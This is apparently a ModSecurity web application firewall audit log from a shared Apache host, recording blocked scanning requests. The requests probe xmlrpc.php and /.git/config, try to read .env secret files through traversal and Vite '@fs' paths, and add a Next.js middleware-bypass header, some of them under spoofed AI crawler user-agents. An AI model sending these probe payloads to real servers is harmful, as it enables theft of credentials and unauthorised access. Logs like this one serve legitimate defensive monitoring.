x-booking-csrf: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)

--0b6a857e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: d382f80b-f351-445c-8f4a-d70e0437b1ee
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0b6a857e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789278810097331 198137 (- - -)
Stopwatch2: 1789278810097331 198137; combined=8813, p1=479, p2=8088, p3=0, p4=0, p5=246, sr=204, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--0b6a857e-Z--

--56d8d645-A--
[13/Sep/2026:09:00:08.798768 +0300] aqY76Ewu1RSkptiiNIXzWAAAAJA 47.79.201.91 44080 127.0.0.1 7081
--56d8d645-B--
GET /xmlrpc.php HTTP/1.1
Host: axapres.ro
X-Real-IP: 47.79.201.91
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.google.com/
Accept-Encoding: gzip

--56d8d645-F--
HTTP/1.1 405 Method Not Allowed
X-Powered-By: PHP/7.1.33
Allow: POST
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8

--56d8d645-E--

--56d8d645-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqY76Ewu1RSkptiiNIXzWAAAAJA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279208120223 678615 (- - -)
Stopwatch2: 1789279208120223 678615; combined=10034, p1=3587, p2=6291, p3=98, p4=11, p5=47, sr=158, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--56d8d645-Z--

--950c315e-A--
[13/Sep/2026:09:00:18.443355 +0300] aqY78isVWymXUono-eRS0wAAABc 47.79.206.136 43998 127.0.0.1 7081
--950c315e-B--
GET /xmlrpc.php HTTP/1.1
Host: axapres.ro
X-Real-IP: 47.79.206.136
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.google.com/
Accept-Encoding: gzip

--950c315e-F--
HTTP/1.1 405 Method Not Allowed
X-Powered-By: PHP/7.1.33
Allow: POST
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8

--950c315e-E--

--950c315e-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqY78isVWymXUono-eRS0wAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279218153431 290005 (- - -)
Stopwatch2: 1789279218153431 290005; combined=4246, p1=321, p2=3724, p3=109, p4=11, p5=81, sr=161, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--950c315e-Z--

--ced28e45-A--
[13/Sep/2026:09:00:31.951886 +0300] aqY7-zTJ6xTvcJoem7f4CwAAAFE 216.81.248.147 50908 127.0.0.1 7081
--ced28e45-B--
GET /.git/config HTTP/1.1
Host: iasipentruviitor.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; EVA-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--ced28e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: *
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ced28e45-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/iasipentruviitor.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279231638750 313208 (- - -)
Stopwatch2: 1789279231638750 313208; combined=33199, p1=244, p2=32885, p3=0, p4=0, p5=70, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ced28e45-Z--

--2f623362-A--
[13/Sep/2026:09:21:08.158861 +0300] aqZA02M7dE9KgIIOpQhquAAAAME 34.181.172.83 41640 127.0.0.1 7081
--2f623362-B--
GET /img../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2f623362-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2f623362-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/img../.env"] [unique_id "aqZA02M7dE9KgIIOpQhquAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280467972498 186485 (- - -)
Stopwatch2: 1789280467972498 186485; combined=4554, p1=272, p2=4229, p3=0, p4=0, p5=53, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2f623362-Z--

--d5a92759-A--
[13/Sep/2026:09:21:08.440239 +0300] aqZA1Ewu1RSkptiiNIXz2QAAAIA 34.181.172.83 41720 127.0.0.1 7081
--d5a92759-B--
POST /graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--d5a92759-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d5a92759-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468161131 279187 (- - -)
Stopwatch2: 1789280468161131 279187; combined=7430, p1=302, p2=6817, p3=0, p4=0, p5=310, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5a92759-Z--

--e3829633-A--
[13/Sep/2026:09:21:08.791240 +0300] aqZA02M7dE9KgIIOpQhqtwAAANM 34.181.172.83 41628 127.0.0.1 7081
--e3829633-B--
GET /uploads../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e3829633-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e3829633-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/uploads../.env"] [unique_id "aqZA02M7dE9KgIIOpQhqtwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280467964373 826924 (- - -)
Stopwatch2: 1789280467964373 826924; combined=11014, p1=257, p2=10702, p3=0, p4=0, p5=54, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3829633-Z--

--31d2ec49-A--
[13/Sep/2026:09:21:08.942782 +0300] aqZA1GM7dE9KgIIOpQhqvwAAAMo 34.181.172.83 41810 127.0.0.1 7081
--31d2ec49-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--31d2ec49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--31d2ec49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqZA1GM7dE9KgIIOpQhqvwAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468858438 84400 (- - -)
Stopwatch2: 1789280468858438 84400; combined=3678, p1=265, p2=3360, p3=0, p4=0, p5=52, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--31d2ec49-Z--

--d9840939-A--
[13/Sep/2026:09:21:08.972323 +0300] aqZA1CsVWymXUono-eRS9AAAABU 34.181.172.83 41766 127.0.0.1 7081
--d9840939-B--
POST /api/graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--d9840939-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d9840939-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468651958 320463 (- - -)
Stopwatch2: 1789280468651958 320463; combined=6554, p1=318, p2=5926, p3=0, p4=0, p5=310, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d9840939-Z--

--60ff4b09-A--
[13/Sep/2026:09:21:09.072463 +0300] aqZA1GM7dE9KgIIOpQhqwAAAAMw 34.181.172.83 41816 127.0.0.1 7081
--60ff4b09-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--60ff4b09-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--60ff4b09-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/var/task/.env"] [unique_id "aqZA1GM7dE9KgIIOpQhqwAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468965856 106681 (- - -)
Stopwatch2: 1789280468965856 106681; combined=3624, p1=234, p2=3337, p3=0, p4=0, p5=53, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--60ff4b09-Z--

--86595d4f-A--
[13/Sep/2026:09:21:09.664282 +0300] aqZA1Uwu1RSkptiiNIXz3AAAAIE 34.181.172.83 41844 127.0.0.1 7081
--86595d4f-B--
POST /v1/graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--86595d4f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--86595d4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469581654 82710 (- - -)
Stopwatch2: 1789280469581654 82710; combined=6081, p1=304, p2=5482, p3=0, p4=0, p5=294, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--86595d4f-Z--

--2bb9622f-A--
[13/Sep/2026:09:21:09.996324 +0300] aqZA1Uwu1RSkptiiNIXz3wAAAJQ 34.181.172.83 41924 127.0.0.1 7081
--2bb9622f-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2bb9622f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1Uwu1RSkptiiNIXz3wAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469895150 101242 (- - -)
Stopwatch2: 1789280469895150 101242; combined=3673, p1=271, p2=3349, p3=0, p4=0, p5=53, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bb9622f-Z--

--4b6cae01-A--
[13/Sep/2026:09:21:10.034152 +0300] aqZA1WM7dE9KgIIOpQhqwwAAAMY 34.181.172.83 41896 127.0.0.1 7081
--4b6cae01-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4b6cae01-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4b6cae01-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1WM7dE9KgIIOpQhqwwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469857594 176613 (- - -)
